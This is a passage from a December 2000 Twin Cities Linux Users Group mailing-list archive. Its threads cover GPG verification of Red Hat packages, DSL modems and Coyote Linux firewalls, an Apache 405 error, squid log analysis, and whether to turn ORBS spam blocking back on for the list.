listed on this site and in the > report are estimates only. If you have any questions of the > legality of this program, contact the Office of Associate > Director for Marketing Practices, Federal Trade Commission, > Bureau of Consumer Protection in Washington, DC. > > ================================================ > > If you are not the intended recipient of this message, > please accept my apologies and delete. This message is sent > in compliance of the new E-mail bill, Section 301. Paragraph > (a) (2) (C) of S. 1618. This is a one time e-mail > transmission. No request for removal is necessary. > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From HOEFFNER at dcmir.med.umn.edu Mon Dec 4 22:24:11 2000 From: HOEFFNER at dcmir.med.umn.edu (HOEFFNER@dcmir.med.umn.edu) Date: Mon Jan 17 13:13:05 2005 Subject: [TCLUG] GPG Message-ID: <001204222411.202b09d8@dcmir.med.umn.edu> Hi Would someone please clue me in on how to use gpg? I've downloaded the latest version from redhat, but I can't seem to get it to verify the download. Rpm --verify --nogpg says the md5 sum is fine, but even using gpg from the command line won't give a clean bill of health. I tried both keys on the RH site with the gpg , but all you get is a reply that says unexpected data. Thanks Ed Hoeffner 1-271 BSBE 312 Church St. SE Mpls, MN 55455 hoeffner@dcmir.med.umn.edu 612-625-2115 612-625-2163 fax From wilson at visi.com Tue Dec 5 00:51:52 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:13:05 2005 Subject: [TCLUG] Do I need my 675? Message-ID: Hey everyone, I've set up a Coyote Linux firewall at home (http://www.coyotelinux.com/) at it works great for ordinary workstation protection right now. I haven't had time to mess around customizing the ipchains rules. Coyote is fully capable of PPPoE connections. Can I just dump my Cisco 675 and use my Coyote firewalls much more flexible firewalling and masquerading capabilities? -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From tanner at real-time.com Tue Dec 5 00:54:53 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:05 2005 Subject: [TCLUG] Do I need my 675? In-Reply-To: ; from wilson@visi.com on Tue, Dec 05, 2000 at 12:51:52AM -0600 References: Message-ID: <20001205005453.B13361@real-time.com> Quoting Timothy Wilson (wilson@visi.com): > Hey everyone, > > I've set up a Coyote Linux firewall at home (http://www.coyotelinux.com/) at > it works great for ordinary workstation protection right now. I haven't had > time to mess around customizing the ipchains rules. > > Coyote is fully capable of PPPoE connections. Can I just dump my Cisco 675 > and use my Coyote firewalls much more flexible firewalling and masquerading > capabilities? I highly doubt it. What decodes the DSL signaling? Is there some sort of DSL card in it? -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From wilson at visi.com Tue Dec 5 06:31:55 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:13:05 2005 Subject: [TCLUG] Do I need my 675? In-Reply-To: <20001205005453.B13361@real-time.com> Message-ID: On Tue, 5 Dec 2000, Bob Tanner wrote: > > Coyote is fully capable of PPPoE connections. Can I just dump my Cisco 675 > > and use my Coyote firewalls much more flexible firewalling and masquerading > > capabilities? > > I highly doubt it. > > What decodes the DSL signaling? Is there some sort of DSL card in it? Once again I've proven myself incapable of rational though at 1 a.m. after many hours of grading papers. Of course there's nothing to decode the DSL signal. *dope slaps himself* I feel much better now. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From blutgens at sistina.com Tue Dec 5 08:42:48 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:05 2005 Subject: [TCLUG] Do I need my 675? In-Reply-To: <20001205005453.B13361@real-time.com>; from tanner@real-time.com on Tue, Dec 05, 2000 at 12:54:53AM -0600 References: <20001205005453.B13361@real-time.com> Message-ID: <20001205084248.A3692@socrates.sistina.com> On Tue, Dec 05, 2000 at 12:54:53AM -0600, Bob Tanner wrote: >Quoting Timothy Wilson (wilson@visi.com): > >What decodes the DSL signaling? Is there some sort of DSL card in it? > Yeah, that's the problem. I did see a PCI CSU/DSU card for sale once (At LWE I think) Seems to me it ran linux on chip. Might as well stay with the cisco FWIW. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001205/76d0d8ac/attachment.pgp From austad at marketwatch.com Tue Dec 5 09:37:27 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:05 2005 Subject: [TCLUG] Do I need my 675? Message-ID: The only way to dump the cisco 675 would be if someone made a kernel module for the Intel 2100 interal aDSL/ATM card. Then you'd have to figure out a way to fit it on the coyote disk, which wouldn't be hard if you didn't need pppd on it (pppd weighs in at 147k). From what it looks like, this will never happen. Jay > -----Original Message----- > From: Ben Lutgens [mailto:blutgens@sistina.com] > Sent: Tuesday, December 05, 2000 8:43 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Do I need my 675? > > > On Tue, Dec 05, 2000 at 12:54:53AM -0600, Bob Tanner wrote: > >Quoting Timothy Wilson (wilson@visi.com): > > > >What decodes the DSL signaling? Is there some sort of DSL card in it? > > > Yeah, that's the problem. I did see a PCI CSU/DSU card for > sale once (At LWE I > think) Seems to me it ran linux on chip. Might as well stay > with the cisco > FWIW. > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > From b.layer at vikingelectronics.com Tue Dec 5 09:48:36 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] Do I need my 675? In-Reply-To: References: Message-ID: <00120509483605.00284@Billbob_Linux> On Tuesday 05 December 2000 09:37, you wrote: > The only way to dump the cisco 675 would be if someone made a kernel module > for the Intel 2100 interal aDSL/ATM card. I was given the impression that the Intel 2100 aDSL modem is an HSP design aka Win Modem. Can anyone confirm or deny? If this is true, can anyone accurately ascertain how much that sucks? ;) -- Bill Layer From austad at marketwatch.com Tue Dec 5 10:02:45 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] Do I need my 675? Message-ID: > I was given the impression that the Intel 2100 aDSL modem is > an HSP design > aka Win Modem. Can anyone confirm or deny? I seem to remember reading the same thing somewhere. I know Cisco makes one of these PCI cards though also. I wonder if Cisco's is built the same. I know USWorst switched to Intel from the Cisco card, I assume to cut costs. If the Cisco card was alot more expensive, there may be a good chance that it's not HSP. Of course, it's Cisco and subject to price inflation because of the name. > -----Original Message----- > From: Bill Layer [mailto:b.layer@vikingelectronics.com] > Sent: Tuesday, December 05, 2000 9:49 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Do I need my 675? > > > On Tuesday 05 December 2000 09:37, you wrote: > > The only way to dump the cisco 675 would be if someone made > a kernel module > > for the Intel 2100 interal aDSL/ATM card. > > I was given the impression that the Intel 2100 aDSL modem is > an HSP design > aka Win Modem. Can anyone confirm or deny? > > If this is true, can anyone accurately ascertain how much > that sucks? ;) > > > -- > Bill Layer > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From natecars at real-time.com Tue Dec 5 10:13:02 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <20001204134112.E27653@real-time.com> Message-ID: On Mon, 4 Dec 2000, Carl Wilhelm Soderstrom wrote: > 4-speaker flat-panel array with subwoofer. he wins stereo wars. :) > now if only he'd get some new music... ;> eh, you just can't take classics, my good man. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Tue Dec 5 10:14:17 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] Squid log analysis In-Reply-To: <3A2C1AC9.B7B0FA12@ltiflex.com> Message-ID: On Mon, 4 Dec 2000, Andy Zbikowski wrote: > I just finished setting up webalizer to analize squid's logfiles. To get it > working I grabbed > squid2common.pl ( http://www.unimelb.edu.au/pwebstats/squid2common.pl ) and > set it up in cron to run before webalizer. I thought webalizer supported > squids logfiles without extra help but couldn't find anything in the > documentation. > > For now, this should ge me the information I want. I figured I'd give > webalizer a try since I was allrady somewhat familiar with it and it is a > package in Debian. But if anyone has any success/horror stories about other > packages ( http://www.squid-cache.org/Scripts/ ) I'd love to hear them > (along with any recomendations) > > Since we are using Squid to sorta filter internet sites it would be nice to > get a more indepth analysis of sites visited, but for now, webalizer fits > the bill. sqmgrlog is pretty cool. i haven't gotten it working quite right yet, but it's nice.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From b.layer at vikingelectronics.com Tue Dec 5 10:14:19 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] Do I need my 675? In-Reply-To: References: Message-ID: <00120510141907.00284@Billbob_Linux> BTW, > I know USWorst switched to Intel from the Cisco card, I have a spare, new in the box Intel 2100 aDSL modem. Includes the line filters, etc. Anyone wants it, make an offer. -- Bill Layer Sales Technician From chrome at real-time.com Tue Dec 5 10:19:16 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: ; from natecars@real-time.com on Tue, Dec 05, 2000 at 10:13:02AM -0600 References: <20001204134112.E27653@real-time.com> Message-ID: <20001205101916.A10562@real-time.com> > > now if only he'd get some new music... ;> > > eh, you just can't take classics, my good man. I don't think the Bloodhound Gang constitutes 'classics'. ...well, maybe to a young'un like youself... ;> Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From bastleford at platinumdg.com Tue Dec 5 10:22:39 2000 From: bastleford at platinumdg.com (Brett Astleford) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] apache Message-ID: <008201c05ed7$96bbbf00$2d01a8c0@platinumpersonals.com> Hi, My apache sever will not let me post information. I get the 405 error(see below). Is this a httpd.conf problem or permissions problem? Help would be greatly appreciated. thanks, error# 405 method not allowed(post method) ver: Apache/1.3.14 Brett Astleford Platinum Design Group bastleford@platinumdg.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001205/cc964fe1/attachment.html From chrome at real-time.com Tue Dec 5 10:30:57 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: ; from jethro@freakzilla.com on Sun, Dec 03, 2000 at 01:13:28PM -0600 References: <004701c05d59$57823f00$158be23f@gateway> Message-ID: <20001205103057.B10562@real-time.com> > Actually, a company in Hamil MN (apparently 30 mins from mpls) bought the > blueprints and makes something called the "Avant > Stellar" (http://www.cvtinc.com/kybdfeatures.htm), which is > supposedly the samething, but with Windoze keys. And for $170. For the > CHEAP ones. > > Ok, this keyboard is HEAVY - it's made of steel. It is EXTREMELY > resilient. The keys CLICK most satisfyingly. > > Also, most models are VERY programmable. You can interchange the locations > of the Ctrl and CAPSlock, among others. Or Dvorak it. The key caps are all > removable. > > Oh, you can get them with the F-Keys on the side, where they belong. only problem I see with them, is that they have those oversized keys; which are a complete waste of space. at least they don't look like they cropped the key. I've never had trouble hitting the normal-sized key; but undersized keys drive me nuts. (when you mistype as often as I do, backspace keys are very important). they look interesting, tho. Carl. -- Network Engineer Real-Time Enterprises (952) 943-8700 From blutgens at sistina.com Tue Dec 5 10:34:48 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] Do I need my 675? In-Reply-To: <00120509483605.00284@Billbob_Linux>; from b.layer@vikingelectronics.com on Tue, Dec 05, 2000 at 09:48:36AM -0600 References: <00120509483605.00284@Billbob_Linux> Message-ID: <20001205103448.A4317@socrates.sistina.com> On Tue, Dec 05, 2000 at 09:48:36AM -0600, Bill Layer wrote: > >If this is true, can anyone accurately ascertain how much that sucks? ;) > Bill, is this even a question? -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: <20001205101916.A10562@real-time.com> Message-ID: On Tue, 5 Dec 2000, Carl Wilhelm Soderstrom wrote: > > > now if only he'd get some new music... ;> > > > > eh, you just can't take classics, my good man. > > I don't think the Bloodhound Gang constitutes 'classics'. > ...well, maybe to a young'un like youself... that's just random crap that made my playlist.. hehe -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From blutgens at sistina.com Tue Dec 5 10:41:46 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] apache In-Reply-To: <008201c05ed7$96bbbf00$2d01a8c0@platinumpersonals.com>; from bastleford@platinumdg.com on Tue, Dec 05, 2000 at 10:22:39AM -0600 References: <008201c05ed7$96bbbf00$2d01a8c0@platinumpersonals.com> Message-ID: <20001205104146.B4317@socrates.sistina.com> On Tue, Dec 05, 2000 at 10:22:39AM -0600, Brett Astleford wrote: Your problems are probably due to the fast that you use Outlook Express as your mail client. Once again we have inconsiderate people posting to the list these multipart alternative. God is it so hard to understand? Now on to your question. First of all you should be aware that this is NOT enough information for anyone to riddle out your problem. At a minimum you need to following. Distro You're using. What you try to accomplish (more detail needed) Exact errors (i.e. log excerpts) Version of software Secondly before you post to a list, please read the mailing list archives (both for tclug and in this case apache), the documentation that came with your software and on the website of the software in question. Being an administrator who babysits a couple webserver I can tell you that I have never had a problem finding info on the apache website. And I guarantee your question will be answered there. It looks like it's definitely an httpd.conf problem. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001205/e4665463/attachment.pgp From jcook at k-lug.com Tue Dec 5 10:44:07 2000 From: jcook at k-lug.com (Cook, Justin S.) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] apache References: <008201c05ed7$96bbbf00$2d01a8c0@platinumpersonals.com> Message-ID: <001901c05eda$96289f60$b815020a@winona.msus.edu> Are you posting to an HTML file? What are you posting to/from? Justin Cook mailto:jcook@k-lug.com ----- Original Message ----- From: Brett Astleford To: Sent: Tuesday, December 05, 2000 10:22 AM Subject: [TCLUG] apache Hi, My apache sever will not let me post information. I get the 405 error(see below). Is this a httpd.conf problem or permissions problem? Help would be greatly appreciated. thanks, error# 405 method not allowed(post method) ver: Apache/1.3.14 Brett Astleford Platinum Design Group bastleford@platinumdg.com From tanner at real-time.com Tue Dec 5 11:07:52 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:06 2005 Subject: [TCLUG] To ORBS or not to ORBS that is the question Message-ID: <20001205110752.O31012@real-time.com> I have got several scathing email about spam mail on the mailing list. First, I'd like to say I am an legitimate child, so naming calling of my mother is not very nice. :-P Second, yes, the email can be vulgar. Third, yes, we can block more of it. On point 3, I am putting it to the list. I can turn ORBS back on, but it seems to block lots of legitimate email. In fact several people sent email to me asking why ORBS bounced them. So, there it is. To ORBS or not to ORBS. Clay/Scott can you do a poll on the web site? List is open to discussion... -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From austad at marketwatch.com Tue Dec 5 11:06:22 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:07 2005 Subject: [TCLUG] Do I need my 675? Message-ID: > I have a spare, new in the box Intel 2100 aDSL modem. > Includes the line > filters, etc. Anyone wants it, make an offer. I have two of em. Maybe we could build a beowulf cluster out of them :) > -----Original Message----- > From: Bill Layer [mailto:b.layer@vikingelectronics.com] > Sent: Tuesday, December 05, 2000 10:14 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Do I need my 675? > > > BTW, > > > I know USWorst switched to Intel from the Cisco card, > > I have a spare, new in the box Intel 2100 aDSL modem. > Includes the line > filters, etc. Anyone wants it, make an offer. > > -- > Bill Layer > Sales Technician > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From mjn at umn.edu Tue Dec 5 11:10:28 2000 From: mjn at umn.edu (mjn) Date: Mon Jan 17 13:13:07 2005 Subject: [TCLUG] A little clarification... Message-ID: I posted something about this yesterday but i think was rather foggy on details and had words like "novell" and "groupwise" in it so no one paid attention. I have thought a bit more about it and here is the revised situation... The shop I work in is in the process of retiring some old host names. We are working towards shutting down an old mercury mail server and we would like to, along with redirecting any mail coming into that server, notify all senders that the host name/addres has changed. So, basically, we would like to forward all incoming mail to the correct new address(we have these aliases already), and would also like to generate an email to send back to the orginator of the message. This email, in the best of all worlds, would have some information on the hostname change and would also look in our aliases and pull out the correct email address(based on where it was sent to and the alias that corresponds to it) so that the user can easily update their address book. Anyone have ideas? I figure we would just tack a pointer to a script onto the alias and have that script do all the work; that way the mail gets forwarded and another copy goes to the mail processing script. My only problem is I am unsure of what scripting language I should use (procmail?) and if reading the alias file will be possible. Anyone know of a pre-built script which will do this? Thanks... ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From austad at marketwatch.com Tue Dec 5 11:09:34 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:07 2005 Subject: [TCLUG] apache Message-ID: > > Your problems are probably due to the fast that you use > Outlook Express as > your mail client. > > Once again we have inconsiderate people posting to the list > these multipart > alternative. God is it so hard to understand? > Go under Tools->Options->Mail Format and select "Plain Text". > -----Original Message----- > From: Ben Lutgens [mailto:blutgens@sistina.com] > Sent: Tuesday, December 05, 2000 10:42 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] apache > > > On Tue, Dec 05, 2000 at 10:22:39AM -0600, Brett Astleford wrote: > > Your problems are probably due to the fast that you use > Outlook Express as > your mail client. > > Once again we have inconsiderate people posting to the list > these multipart > alternative. God is it so hard to understand? > > > Now on to your question. First of all you should be aware > that this is NOT > enough information for anyone to riddle out your problem. At > a minimum you > need to following. > > Distro You're using. > What you try to accomplish (more detail needed) > Exact errors (i.e. log excerpts) > Version of software > > Secondly before you post to a list, please read the mailing > list archives > (both for tclug and in this case apache), the documentation > that came with > your software and on the website of the software in question. Being an > administrator who babysits a couple webserver I can tell you > that I have never > had a problem finding info on the apache website. And I guarantee your > question will be answered there. > > It looks like it's definitely an httpd.conf problem. > > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > From austad at marketwatch.com Tue Dec 5 11:11:38 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:07 2005 Subject: [TCLUG] To ORBS or not to ORBS that is the question Message-ID: It would be nice if there was some sort of filter you could plug into your .procmailrc file that would filter your mail based on ORBS or MAPS. Of course, it wouldn't do me much good since I'm stuck on MS LookOut!. > -----Original Message----- > From: Bob Tanner [mailto:tanner@real-time.com] > Sent: Tuesday, December 05, 2000 11:08 AM > To: tclug-list@mn-linux.org > Subject: [TCLUG] To ORBS or not to ORBS that is the question > > > I have got several scathing email about spam mail on the mailing list. > > First, I'd like to say I am an legitimate child, so naming > calling of my mother > is not very nice. :-P > > Second, yes, the email can be vulgar. > > Third, yes, we can block more of it. > > On point 3, I am putting it to the list. I can turn ORBS back > on, but it seems > to block lots of legitimate email. In fact several people > sent email to me > asking why ORBS bounced them. > > So, there it is. To ORBS or not to ORBS. > > Clay/Scott can you do a poll on the web site? > > List is open to discussion... > > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Tue Dec 5 11:11:38 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:07 2005 Subject: [TCLUG] To ORBS or not to ORBS that is the question Message-ID: It would be nice if there was some sort of filter you could plug into your .procmailrc file that would filter your mail based on ORBS or MAPS. Of course, it wouldn't do me much good since I'm stuck on MS LookOut!. > -----Original Message----- > From: Bob Tanner [mailto:tanner@real-time.com] > Sent: Tuesday, December 05, 2000 11:08 AM > To: tclug-list@mn-linux.org > Subject: [TCLUG] To ORBS or not to ORBS that is the question > > > I have got several scathing email about spam mail on the mailing list. > > First, I'd like to say I am an legitimate child, so naming > calling of my mother > is not very nice. :-P > > Second, yes, the email can be vulgar. > > Third, yes, we can block more of it. > > On point 3, I am putting it to the list. I can turn ORBS back > on, but it seems > to block lots of legitimate email. In fact several people > sent email to me > asking why ORBS bounced them. > > So, there it is. To ORBS or not to ORBS. > > Clay/Scott can you do a poll on the web site? > > List is open to discussion... > > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From b.layer at vikingelectronics.com Tue Dec 5 11:18:16 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:07 2005 Subject: [TCLUG] Do I need my 675? In-Reply-To: <20001205103448.A4317@socrates.sistina.com> References: <00120509483605.00284@Billbob_Linux> <20001205103448.A4317@socrates.sistina.com> Message-ID: <0012051118160B.00284@Billbob_Linux> Uh..Uh, ok... On Tuesday 05 December 2000 10:34, you wrote: > > On Tue, Dec 05, 2000 at 09:48:36AM -0600, Bill Layer wrote: > >If this is true, can anyone accurately ascertain how much that sucks? ;) > > Bill, is this even a question? This is a test of the TCLUG humor system. This is only a test. If this had been an actual joke, the words you read would have been followed by laughter. This concludes this test of the TCLUG humor system -- Bill Layer From tanner at real-time.com Tue Dec 5 11:23:19 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:07 2005 Subject: [TCLUG] Do I need my 675? In-Reply-To: <00120509483605.00284@Billbob_Linux>; from b.layer@vikingelectronics.com on Tue, Dec 05, 2000 at 09:48:36AM -0600 References: <00120509483605.00284@Billbob_Linux> Message-ID: <20001205112319.Y31012@real-time.com> Quoting Bill Layer (b.layer@vikingelectronics.com): > On Tuesday 05 December 2000 09:37, you wrote: > > The only way to dump the cisco 675 would be if someone made a kernel module > > for the Intel 2100 interal aDSL/ATM card. > > I was given the impression that the Intel 2100 aDSL modem is an HSP design > aka Win Modem. Can anyone confirm or deny? Cannot confirm or deny this. > If this is true, can anyone accurately ascertain how much that sucks? ;) I CAN confirm that they suck! :-) In fact at Real Time we do not officially support them, so if you go with Select service and this junk card you do so ATA (against techincal advise). -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From blutgens at sistina.com Tue Dec 5 11:31:18 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:07 2005 Subject: [TCLUG] apache In-Reply-To: ; from austad@marketwatch.com on Tue, Dec 05, 2000 at 11:09:34AM -0600 References: Message-ID: <20001205113118.A4793@socrates.sistina.com> On Tue, Dec 05, 2000 at 11:09:34AM -0600, Austad, Jay wrote: > >Go under Tools->Options->Mail Format and select "Plain Text". > See! Someone gets it. Now if we could just get people to do it that would be grand. Perhaps I'll write a procmail filter to automagically delete those mails. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... 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There is, you can pipe the mail through rblcheck. > > > >> -----Original Message----- >> From: Bob Tanner [mailto:tanner@real-time.com] >> Sent: Tuesday, December 05, 2000 11:08 AM >> To: tclug-list@mn-linux.org >> Subject: [TCLUG] To ORBS or not to ORBS that is the question >> >> >> I have got several scathing email about spam mail on the mailing list. >> >> First, I'd like to say I am an legitimate child, so naming >> calling of my mother >> is not very nice. :-P >> >> Second, yes, the email can be vulgar. >> >> Third, yes, we can block more of it. >> >> On point 3, I am putting it to the list. I can turn ORBS back >> on, but it seems >> to block lots of legitimate email. In fact several people >> sent email to me >> asking why ORBS bounced them. >> >> So, there it is. To ORBS or not to ORBS. >> >> Clay/Scott can you do a poll on the web site? >> >> List is open to discussion... >> >> -- >> Bob Tanner | Phone : (612)943-8700 >> http://www.mn-linux.org | Fax : (612)943-8500 >> Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@lists.real-time.com >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... 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In fact several people sent email to me >asking why ORBS bounced them. > >So, there it is. To ORBS or not to ORBS. Bob, I use mailman as well (God I love it) and I just set the list to only allow posting from subscribed members and then told qmail to use rblsmtpd and all is well. Orbs is pretty screwy so i didn't mess with it my setup seems to have it. For anything that does poke through I have a procmail catchall that is supposed to delete anything that hasn't been filtered already but it doesn't for some reason. Which MTA is serving the list traffic sendmail? surely senmails USE_RBL_CHECK or whatever of maps.vix.com will help a little. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001205/ca3fec61/attachment.pgp From tanner at real-time.com Tue Dec 5 11:45:30 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:08 2005 Subject: [TCLUG] To ORBS or not to ORBS that is the question In-Reply-To: <20001205113558.B4793@socrates.sistina.com>; from blutgens@sistina.com on Tue, Dec 05, 2000 at 11:35:58AM -0600 References: <20001205110752.O31012@real-time.com> <20001205113558.B4793@socrates.sistina.com> Message-ID: <20001205114530.E21070@real-time.com> Quoting Ben Lutgens (blutgens@sistina.com): > Bob, I use mailman as well (God I love it) and I just set the list to only > allow posting from subscribed members and then told qmail to use rblsmtpd and > all is well. Orbs is pretty screwy so i didn't mess with it my setup seems to > have it. For anything that does poke through I have a procmail catchall that > is supposed to delete anything that hasn't been filtered already but it > doesn't for some reason. > > Which MTA is serving the list traffic sendmail? surely senmails USE_RBL_CHECK > or whatever of maps.vix.com will help a little. The problem is third party spam relay through the old mailing list server. Long, ugly story. :-) -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From andyzb at ltiflex.com Tue Dec 5 11:53:01 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:08 2005 Subject: [TCLUG] To ORBS or not to ORBS that is the question References: <20001205110752.O31012@real-time.com> Message-ID: <3A2D2B7D.3DCF125B@ltiflex.com> First off, how is it that SPAM can be sent to a subscription based e-mail list? Are SPAMers actually taking the effort to subscrib to the list in order to spam it, are they disgusing themselves as a legitimate subscriber or the list itself, or is the list now open to those who aren't subscribed? Is this hole due to the migration process or something? Try redoing the ezlm (or whatever...) aliases to pipe through mail man instead (can't be that hard to do...though I've never played with ezlm) or if the old list address is retired retire it and be done with it. Post the new address as an announcment on the website. If people can't figure out the darn address changed well, too bad. They're either lazy, stupid, don't care, or maybe a combination of the three. And finially, stop CCing/sEnding to both lists addresses Jay! :) Excuse my foul mood today... -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 